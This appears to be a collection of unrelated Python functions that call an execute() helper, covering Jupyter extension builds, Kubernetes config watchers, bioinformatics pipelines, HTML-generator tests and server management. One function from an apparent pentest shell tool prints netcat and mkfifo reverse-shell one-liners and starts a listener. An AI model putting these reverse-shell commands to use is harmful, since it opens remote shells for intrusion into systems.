def dev_install_extension(): delete_directory(extension_dir) generate_extension() build_vue_project() execute(None, f'jupyter nbextension uninstall {jupyter_extension_name}') execute(None, f'pip install -e {extension_dir}') execute(None, f'jupyter nbextension install --py --symlink --sys-prefix {ipy_extension_name}') execute(None, f'jupyter nbextension enable --py --sys-prefix {ipy_extension_name}') execute(None, f'jupyter labextension install {extension_dir}/js --no-build')
def default(self, args): split_args = args.split() if (split_args[0] == 'cd'): path = split_args[1] if (path[0] == '~'): path = os.path.expanduser(path) os.chdir(path) return helpers.execute("{}".format(args))
def clean_host_reads(input_file_fullpath, host_ref_fullpath, output_file_fullpath, maxindel=10, minid=0.95, remove_files=True, verbose=False, threads=20, run=True): """Wrapper for the removal of host mapped reads Dependencies: BBMap (https://jgi.doe.gov/data-and-tools/bbtools/bb-tools-user-guide/bbmap-guide/) samtools (https://github.com/samtools/) Parameters: input_file_fullpath (str): host_ref_fullpath (str): output_file_fullpath (str): maxindel (int) : minid (float) : remove_files (bool) :(default is True) verbose (bool) :(default is False) run (bool): (default is True) Returns: Raises: IOError: An error occurred accessing the bigtable.Table object. """ sufix = os.path.splitext(input_file_fullpath)[1] bam_file_fullpath = input_file_fullpath.replace(sufix,'.bam') cmd = ('bbmap.sh ' 'in=%s ' 'ref=%s ' 'outu=%s ' 'maxindel=%s ' 'minid=%s ' 't=%s ' % (input_file_fullpath,host_ref_fullpath,bam_file_fullpath,maxindel,minid,threads) ) print('Cleaning host reads using %s...'% host_ref_fullpath ) if verbose: print(cmd) if run: execute(cmd,screen=True) cmd = ('samtools fasta %s > %s' % (bam_file_fullpath, output_file_fullpath) ) if verbose: print(cmd) if run: execute(cmd,screen=True) if remove_files: os.remove(bam_file_fullpath)
def list_resources(label, label_value, target_folder, request_url, request_method, request_payload, namespace, folder_annotation, resource, unique_filenames, script, enable_5xx, ignore_already_processed): v1 = client.CoreV1Api() # Filter resources based on label and value or just label label_selector = f"{label}={label_value}" if label_value else label additional_args = {'label_selector': label_selector} if namespace != "ALL": additional_args['namespace'] = namespace ret = getattr(v1, _list_namespace[namespace][resource])(**additional_args) files_changed = False # For all the found resources for item in ret.items: metadata = item.metadata # Ignore already processed resource # Avoid numerous logs about useless resource processing each time the LIST loop reconnects if ignore_already_processed: if _resources_version_map.get( metadata.namespace + metadata.name) == metadata.resource_version: # print(f"{timestamp()} Ignoring {resource} {metadata.namespace}/{metadata.name}") continue _resources_version_map[metadata.namespace + metadata.name] = metadata.resource_version print( f"{timestamp()} Working on {resource}: {metadata.namespace}/{metadata.name}" ) # Get the destination folder dest_folder = _get_destination_folder(metadata, target_folder, folder_annotation) if resource == RESOURCE_CONFIGMAP: files_changed |= _process_config_map(dest_folder, item, resource, unique_filenames, enable_5xx) else: files_changed = _process_secret(dest_folder, item, resource, unique_filenames, enable_5xx) if script and files_changed: execute(script) if request_url and files_changed: request(request_url, request_method, enable_5xx, request_payload)
def _watch_resource_iterator(label, label_value, target_folder, url, method, payload, current_namespace, folder_annotation, resource, unique_filenames, script): v1 = client.CoreV1Api() namespace = os.getenv("NAMESPACE", current_namespace) # Filter resources based on label and value or just label label_selector = f"{label}={label_value}" if label_value else label if namespace == "ALL": stream = watch.Watch().stream(getattr( v1, _list_for_all_namespaces[resource]), label_selector=label_selector, _request_timeout=60) else: stream = watch.Watch().stream(getattr(v1, _list_namespaced[resource]), namespace=namespace, label_selector=label_selector, _request_timeout=60) # Process events for event in stream: item = event["object"] metadata = item.metadata event_type = event["type"] print( f"{timestamp()} Working on {event_type} {resource} {metadata.namespace}/{metadata.name}" ) files_changed = False # Get the destination folder dest_folder = _get_destination_folder(metadata, target_folder, folder_annotation) item_removed = event_type == "DELETED" if resource == RESOURCE_CONFIGMAP: files_changed |= _process_config_map(dest_folder, item, resource, unique_filenames, item_removed) else: files_changed |= _process_secret(dest_folder, item, resource, unique_filenames, item_removed) if script and files_changed: execute(script) if url and files_changed: request(url, method, payload)
def get_magnet(results): print("Processing magnet link") magnet = results['magnet'] command = "peerflix \"%s\"" % magnet if sub_lang is not None: subtitle = get_subtitle(magnet, sub_lang) if subtitle is not None: command += " -t %s" % subtitle if port is not None:# command += " -p%s" % port if not serve: command += " --vlc" print("executing command %s" % command) execute(command)
def get_magnet(results): print("Processing magnet link") magnet = results['magnet'] command = "peerflix \"%s\"" % magnet if sub_lang is not None: subtitle = get_subtitle(magnet, sub_lang) if subtitle is not None: command += " -t %s" % subtitle if port is not None: # command += " -p%s" % port if not serve: command += " --vlc" print("executing command %s" % command) execute(command)
def build_vue_project(watch=False): if not directory_exists(f'{vue_project_dir}/node_modules'): execute(vue_project_dir, 'yarn install') try: # keep using --mode production with --watch, else css is not included execute( vue_project_dir, f'npx vue-cli-service build --target lib \ --formats {"umd"} \ --dest {extension_dir}/js/vue_project_dist_mirror \ --name component src/{settings["entry"]} \ --mode production \ {"--watch" if watch else ""}') except KeyboardInterrupt: pass
def _watch_resource_iterator(label, label_value, target_folder, request_url, request_method, request_payload, namespace, folder_annotation, resource, unique_filenames, script, enable_5xx): v1 = client.CoreV1Api() # Filter resources based on label and value or just label label_selector = f"{label}={label_value}" if label_value else label additional_args = {'label_selector': label_selector} if namespace != "ALL": additional_args['namespace'] = namespace stream = watch.Watch().stream( getattr(v1, _list_namespace[namespace][resource]), **additional_args) # Process events for event in stream: item = event["object"] metadata = item.metadata event_type = event["type"] print( f"{timestamp()} Working on {event_type} {resource} {metadata.namespace}/{metadata.name}" ) files_changed = False # Get the destination folder dest_folder = _get_destination_folder(metadata, target_folder, folder_annotation) item_removed = event_type == "DELETED" if resource == RESOURCE_CONFIGMAP: files_changed |= _process_config_map(dest_folder, item, resource, unique_filenames, enable_5xx, item_removed) else: files_changed |= _process_secret(dest_folder, item, resource, unique_filenames, enable_5xx, item_removed) if script and files_changed: execute(script) if request_url and files_changed: request(request_url, request_method, enable_5xx, request_payload)
def test_not_empty_title_metadata(self): output_file = f'{self.OUTPUT_DIR}/not_empty_title_metadata_test.html' root = h.execute([ '-f', '-i', f'{h.INPUT_DIR}/not_empty_title_metadata_test.txt', '-o', output_file, '--legacy-mode', '--template', f'{h.INPUT_DIR}/test_template_title.html' ], output_file) self.assertEqual('test title from metadata', root.head.title.text)
def test_not_empty_title_cli(self): output_file = f'{self.OUTPUT_DIR}/not_empty_title_cli_test.html' root = h.execute([ '-f', '-i', f'{h.INPUT_DIR}/any_content.txt', '-o', output_file, '--template', f'{h.INPUT_DIR}/test_template_title.html', '--title', 'test title from CLI' ], output_file) self.assertEqual('test title from CLI', root.head.title.text)
def destroyServer(subid): data = {'SUBID': subid} response = execute('server_destroy', method='post', data=data) if response.status_code is 200: return print(f'server {subid} destroyed') print('there was a problem!')
def test_no_css(self): output_file = f'{self.OUTPUT_DIR}/no_css_test.html' root = h.execute([ '-f', '-i', f'{h.INPUT_DIR}/any_content.txt', '-o', output_file, '--template', f'{h.INPUT_DIR}/test_template_styles.html', '--no-css' ], output_file) self.assertIsNone(root.head.link) self.assertIsNone(root.head.style)
def test_not_empty_title_cli_overridden(self): output_file = f'{self.OUTPUT_DIR}/not_empty_title_cli_overridden_test.html' root = h.execute([ '-f', '-i', f'{h.INPUT_DIR}/not_empty_title_metadata_test.txt', '-o', output_file, '--template', f'{h.INPUT_DIR}/test_template_title.html', '--title', 'test title from CLI overridden' ], output_file) self.assertEqual('test title from CLI overridden', root.head.title.text)
def test_collect(endpoint_csv): returncode, outs, errs = execute(["digital-land", "collect", endpoint_csv]) log_date = datetime.utcnow().isoformat()[:10] log_file = f"./collection/log/{log_date}/{hash_digest(ENDPOINT)}.json" assert returncode == 0, "return code non-zero" assert "ERROR" not in errs resource = read_log(log_file) assert resource assert resource_collected(resource)
def scan(self, args, loggingdir): # no scan or target is specified so just print the scans if(args == ''): self.list_scans() return # scan is specified but no target so just print that scan split_args = args.split() scan_name = split_args[0] if(scan_name in self.scans_dict): # use the scan objects replace method parsed_args = self.parse_arguments(split_args[1:]) scan_cmd_replaced_args = self.scans_dict[scan_name].replace_arguments_in_cmd(parsed_args) if(scan_cmd_replaced_args is not None): # try and make the log file in the logging derectory log_file_name = loggingdir + '/' + scan_name + '_' + datetime.datetime.fromtimestamp(time.time()).strftime('%H:%M:%S-%m-%d-%Y') helpers.execute(scan_cmd_replaced_args, log_file_name) else: ColorPrint.print_fail("ERROR: scan {} not found.".format(scan_name))
def list_resources(label, label_value, target_folder, request_url, request_method, request_payload, namespace, folder_annotation, resource, unique_filenames, script, enable_5xx): v1 = client.CoreV1Api() # Filter resources based on label and value or just label label_selector = f"{label}={label_value}" if label_value else label additional_args = {'label_selector': label_selector} if namespace != "ALL": additional_args['namespace'] = namespace ret = getattr(v1, _list_namespace[namespace][resource])(**additional_args) files_changed = False # For all the found resources for item in ret.items: metadata = item.metadata print( f"{timestamp()} Working on {resource}: {metadata.namespace}/{metadata.name}" ) # Get the destination folder dest_folder = _get_destination_folder(metadata, target_folder, folder_annotation) if resource == RESOURCE_CONFIGMAP: files_changed |= _process_config_map(dest_folder, item, resource, unique_filenames, enable_5xx) else: files_changed = _process_secret(dest_folder, item, resource, unique_filenames, enable_5xx) if script and files_changed: execute(script) if request_url and files_changed: request(request_url, request_method, enable_5xx, request_payload)
def test_link_css(self): output_file = f'{self.OUTPUT_DIR}/link_css_test.html' root = h.execute([ '-f', '-i', f'{h.INPUT_DIR}/any_content.txt', '-o', output_file, '--template', f'{h.INPUT_DIR}/test_template_styles.html', '--link-css', '../../../test_input/test_styles.css' ], output_file) self.assertIsNone(root.head.style) link = root.head.link self.assertEqual(['stylesheet'], link['rel']) self.assertEqual('text/css', link['type']) self.assertEqual('../../../test_input/test_styles.css', link['href'])
def test_include_css(self): output_file = f'{self.OUTPUT_DIR}/include_css_test.html' root = h.execute([ '-f', '-i', f'{h.INPUT_DIR}/any_content.txt', '-o', output_file, '--template', f'{h.INPUT_DIR}/test_template_styles.html', '--include-css', str(h.WORKING_DIR.joinpath('test_input/test_styles.css')) ], output_file) self.assertIsNone(root.head.link) style = root.head.style self.assertEqual('body {background-color: burlywood;}', style.contents[0].strip())
def _test_convert(input_file): output_file = input_file.with_suffix(".out") print(f"output file: {output_file}") returncode, outs, errs = execute( ["digital-land", "convert", input_file, output_file]) assert returncode == 0, "return code non-zero" assert "ERROR" not in errs output = read_csv(output_file) assert len(output) == 2 assert output[0]["field-1"] == "row-1-data-1" assert output[1]["field-3"] == "row-2-data-3"
def do_listen(self, args): '\x1b[1;34mListen on a port. Usage: "listen [port]"\x1b[0m' port = args if (port == ''): port = random.randint(1024, 65535) ip_addresses = helpers.get_ip_addresses() ColorPrint.print_pass( "Use these commands to connect to your listener:") for ip in ip_addresses: ColorPrint.print_pass("***** {} *****".format(ip)) ColorPrint.print_info("nc {} {} -e /bin/bash".format(ip, port)) ColorPrint.print_info("nc -c /bin/sh {} {}".format(ip, port)) ColorPrint.print_info("/bin/sh | nc {} {}".format(ip, port)) ColorPrint.print_info( "rm -f /tmp/p; mknod /tmp/p p && nc {} {} 0/tmp/p".format( ip, port)) ColorPrint.print_info("nc {} {} -e cmd.exe".format(ip, port)) ColorPrint.print_info( "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc {} {} >/tmp/f" .format(ip, port)) helpers.execute('nc -lvnp {}'.format(port)) print()
def _execute_convert(input_file, output_file): returncode, outs, errs = execute([ "digital-land", "-n", "some-pipeline", "-p", "tests/data/pipeline", "-s", "tests/data/specification", "convert", input_file, output_file, ]) assert returncode == 0, f"return code non-zero: {errs}" assert "ERROR" not in errs
def create_server(hostname): hostname_parts = hostname.split(delimiter) label = delimiter.join(hostname_parts[:-1]) data = { 'DCID': 39, 'VPSPLANID': 201, 'OSID': 270, 'SSHKEYID': '5c5e3f4ee8b5d', 'hostname': hostname, 'tag': label, 'label': hostname } return execute('server_create', method='post', data=data)
def test_legacy_mode(self): without_arg_file = h.execute_simple( f'{h.INPUT_DIR}/{self.CLASS_NAME}/legacy_source_text.txt', f'{self.OUTPUT_DIR}/test_in_legacy_mode_without_arg_file.html', f'{h.INPUT_DIR}/{self.CLASS_NAME}/legacy_template.html', '--legacy-mode', '--link-css', '../../../test_input/test_styles.css') output_file = f'{self.OUTPUT_DIR}/test_in_legacy_mode_with_arg_file.html' with_arg_file = h.execute([ '--argument-file', f'{h.INPUT_DIR}/{self.CLASS_NAME}/argument_file.json', '--output', output_file, '--legacy-mode' ], output_file) for root, test_name in [(without_arg_file, 'without_arg_file'), (with_arg_file, 'with_arg_file')]: with self.subTest(test_name=test_name): self.assertEqual('test title from metadata', root.head.title.text) self.assertIsNone(root.head.style) link = root.head.link self.assertEqual(['stylesheet'], link['rel']) self.assertEqual('text/css', link['type']) self.assertEqual('../../../test_input/test_styles.css', link['href']) pattern = re.compile('\d') paragraphs = root.body.find_all('p') self.assertEqual(6, len(paragraphs)) self.assertEqual('Generator name: md2html_', paragraphs[0].text[0:24]) self.assertEqual('Generator version: X.X.X', pattern.sub('X', paragraphs[1].text)) self.assertEqual('Generation date: XXXX-XX-XX', pattern.sub('X', paragraphs[2].text)) self.assertEqual('Generation time: XX:XX:XX', pattern.sub('X', paragraphs[3].text)) self.assertEqual('Custom value: test custom value', paragraphs[4].text) self.assertEqual('Legacy content.', paragraphs[5].text)
def test_placeholders(self): output_file = f'{self.OUTPUT_DIR}/placeholders_test.html' root = h.execute([ '-f', '-i', f'{h.INPUT_DIR}/placeholders_test.txt', '-o', output_file, '--template', f'{h.INPUT_DIR}/test_template_placeholders.html', '--no-css', '--legacy-mode' ], output_file) pattern = re.compile('\d') paragraphs = root.body.find_all('p') self.assertEqual(5, len(paragraphs)) self.assertEqual('Generator name: md2html_', paragraphs[0].text[0:24]) self.assertEqual('Generator version: X.X.X', pattern.sub('X', paragraphs[1].text)) self.assertEqual('Generation date: XXXX-XX-XX', pattern.sub('X', paragraphs[2].text)) self.assertEqual('Generation time: XX:XX:XX', pattern.sub('X', paragraphs[3].text)) self.assertEqual('Custom value: test custom value', paragraphs[4].text)
def __update(self): # helpers.execute("echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf > /dev/null", "pipe") # hack for update helpers.execute("sudo apt-get update --quiet")
def merge_similar_nodes(G, cluster_id=0.9, min_net_size=3, threads=20, verb=False, run=True): """Collapse similar nodes (sequence identify>cluser_id) within domain networks Dependencies: vsearch (https://github.com/torognes/vsearch) Parameters: G (nx.network): cluster_id (float) : min_net_size (int): threads (int) : verb (bool) :(default is False) verb (run) :(default is True) Returns: (contraction_df,T) tuple(pd.DataFrame,nx.network) : Raises: IOError: An error occurred accessing the bigtable.Table object. """ compressed_dict = defaultdict(list) T = G.copy() clusterSize_dict = nx.get_node_attributes(T,'clusterSize') #iterate over all sub-netowrks and annotate accorind to netNum nodesBySub = sorted(nx.connected_components(G), key = len, reverse=True) if verb: log('%s sub-networks found...' % (len(nodesBySub) )) log('%s networks found... ' % len(nodesBySub)) for i,sub in enumerate(nodesBySub): #try: if (i%100 == 0): log(i) if len(sub) < min_net_size: continue #make tempdir and files tmpdir = tempfile.mkdtemp() input_file = 'network_nodes.fna' input_file = os.path.join(tmpdir, input_file) centroids_filename = input_file.replace('.fna','_OTU.fna') centroids_filename = os.path.join(tmpdir, centroids_filename) table_filename = input_file.replace('.fna','_OTU.txt') table_filename = os.path.join(tmpdir, table_filename) # Ensure the file is read/write by the creator only saved_umask = os.umask(001) s = pd.Series(dict(zip(sub,sub))) s = s.map(clusterSize_dict).sort_values(ascending=False) headers = s.index.values seqs = s.index.map(nx.get_node_attributes(G,'seq')).values makeFasta(headers,seqs,input_file) cmd = ('vsearch ' '--cluster_fast %s ' '--id %s ' '--centroids %s ' '--uc %s ' '-sizein ' '--threads %s ' % (input_file,cluster_id,centroids_filename,table_filename,threads) ) if verb: log('\n') log(cmd) if run: execute(cmd) if verb: log('Parsing OTU information from %s' % table_filename) no_table_flag = False try: otuDF = pd.read_csv(table_filename,sep='\t',index_col=None) otuDF.columns = ['type','cluster','length','ident','strand','','','align','q','h'] except: log('Unable to read clustering table %s...' % table_filename ) no_table_flag = True #except: #print 'IOError' #sys.exit() finally: #clear temp files try: os.remove(input_file) os.remove(centroids_filename) os.remove(table_filename) os.umask(saved_umask) os.rmdir(tmpdir) except: log('Unable to remove temp files at %s...' % tmpdir) if (no_table_flag): continue #Only consider 'Hit' or 'Seed' rows otuDF = otuDF[ (otuDF.type == 'H') | (otuDF.type == 'S') ] #Select only seed rows seedsIndex = otuDF[otuDF['type'] == 'S'].index #For seeds put self as hit otuDF.loc[seedsIndex,'h'] = otuDF.loc[seedsIndex,'q'] #compress similar nodes based on vsearch clustering output counter = 0 for seed, group in otuDF.groupby('h'): #iterativly contract all nodes within cluster centroid node for node in group['q'].values: if node == seed: continue if verb: log('Compressing node %s into node %s' % (seed,node)) #log all merges compressed_dict[seed].append(node) #merge wells of contracted nodes T.node[seed]['well'] = T.node[seed]['well'] + '_' + T.node[node]['well'] T.node[seed]['well'] = '_'.join(sorted(list(set(T.node[seed]['well'].split('_'))))) #flag as compressed T.node[seed]['compressed'] = int(T.node[seed]['compressed']) + 1 T = nx.contracted_nodes(T,seed,node) counter += 1 if verb: log('Compressed %s nodes...' % (counter)) contraction_dict = nx.get_node_attributes(T,'contraction') contraction_df = pd.DataFrame.from_dict({(i,j): contraction_dict[i][j] for i in contraction_dict.keys() for j in contraction_dict[i].keys()}, orient='index') for node in T.nodes(): if 'contraction' in T.node[node].keys(): del T.node[node]['contraction'] return (contraction_df,T)
print(" ") print("===> run test %s/%s ..." % (run_test[0], run_test[1])) #change to test directory os.chdir(run_test[0]) if (not os.path.isfile('./' + run_test[1])): print("!!!!!!!! PARAMTERFILE %s/%s does not exist!" % (run_test[0], run_test[1])) os.chdir(cwd) return False projectname = read_prm(run_test[1], 'ProjectName') projectnamex = ("%s_%d_%s" % (projectname, case, project)) success = False try: [L2,Linf,PID] = execute(cwd+"/"+builddir+"/bin/fluxo", run_test[1], projectnamex,\ [get_last_L2_error, get_last_Linf_error, get_cpu_per_dof],\ log = True, ntail = ntail ,\ mpi_procs = mpi_procs ) if (Linf): print(" ... check Linf %s < %s ?" % (Linf[0], run_test[2])) if (float(Linf[0]) < float(run_test[2])): success = True except: success = False if (not success): print("================================================== ") print("!!!! PROBLEM WITH RUN, NOT FINISHED CORRECTLY!!!!! ") err.extend(["caseID=%6d ,project= %s <=Run" % (case, project)]) print("================================================== ") print(" ") os.chdir(cwd)
def list_servers(): response = execute('server_list') return response.json()
output_full_path = OUTPATH + 'trim/' + output_filenmae cmd = ('vsearch ' '--threads %s ' '--fastx_filter %s ' '--fastaout %s ' '--fastq_stripleft %s ' '--fastq_trunclen %s ' % (threads,input_full_path,output_full_path,strip_left,truncate) ) if verbose: log('\n') log(cmd) execute(cmd,screen=verbose) #dereplicate input_file = output_full_path output_filenmae = output_filenmae.replace(sufix,'.derep' + sufix) output_full_path = OUTPATH + 'derep/' + output_filenmae cmd = ('vsearch ' '--threads %s ' '--derep_fulllength %s ' '--strand plus ' '--output %s ' '-sizeout ' '--fasta_width 0' % (threads,input_file,output_full_path) )
def __remove(self, command): helpers.execute("sudo apt-get purge {}".format(command)) self.__clean()
projectnameX = projectname + '_Degree_' + Degree[ i] + '_Mesh_' + meshname modify_prm(args.prm, {'ProjectName': projectnameX}) print(" ") print("%3i %3i === > ProjectName: %s" % (i, m, projectnameX)) print(" ") # modify parameters by replacing string # args.prm = [w.replace('NEX',nElemsX[i] ) for w in args.prm] modify_prm(args.prm, {'N': Degree[i]}) modify_prm(args.prm, {'MeshFile': Meshes[m]}) # execute fluxo start_time = time.time() try: [L2,Linf,PID] = execute(args.exe, args.prm, projectnameX,\ [get_last_L2_error, get_last_Linf_error, get_cpu_per_dof],\ log = True, ntail = args.ntail ,\ mpi_procs = args.procs ) except: shutil.rmtree(tmp_dir) exit(1) end_time = time.time() nVar = len(L2) if (header): summaryheader = ("%-8s " % " Degree") summaryheader = summaryheader + (", %45s " % "Meshname") for ivar in range(0, nVar): summaryheader = summaryheader + (", %10s%2i%-9s " % (" L2(", ivar + 1, ")")) for ivar in range(0, nVar): summaryheader = summaryheader + (", %10s%2i%-9s " %
def __upgrade(self): helpers.execute("sudo apt-get upgrade")
# loop over meshes for j in range(0, nNgeo): for i in range(0, nLevel): projectnameX = projectname + '_Ngeo_' + Ngeo[j] + '_Level_' + Level1[i] modify_prm(args.prm, {'ProjectName': projectnameX}) print(" ") print("%03.0i === > ProjectName: %s" % (i, projectnameX)) print(" ") # modify parameters by replacing string # args.prm = [w.replace('NEX',nElemsX[i] ) for w in args.prm] modify_prm(args.prm, {'DEFVAR=(INT):n_1': Level1[i]}) modify_prm(args.prm, {'DEFVAR=(INT):n_2': Level2[i]}) bo = str(int(Ngeo[j]) + 1) modify_prm(args.prm, {'BoundaryOrder': bo}) # execute hopr start_time = time.time() try: execute(args.exe, args.prm, projectnameX, log = True, ntail = args.ntail ,\ mpi_procs = args.procs) except: shutil.rmtree(tmp_dir) exit(1) end_time = time.time() #print( end_time - start_time) sys.stdout.flush() shutil.rmtree(tmp_dir)
def __clean(self): helpers.execute("sudo apt-get autoremove") helpers.execute("sudo apt-get autoclean")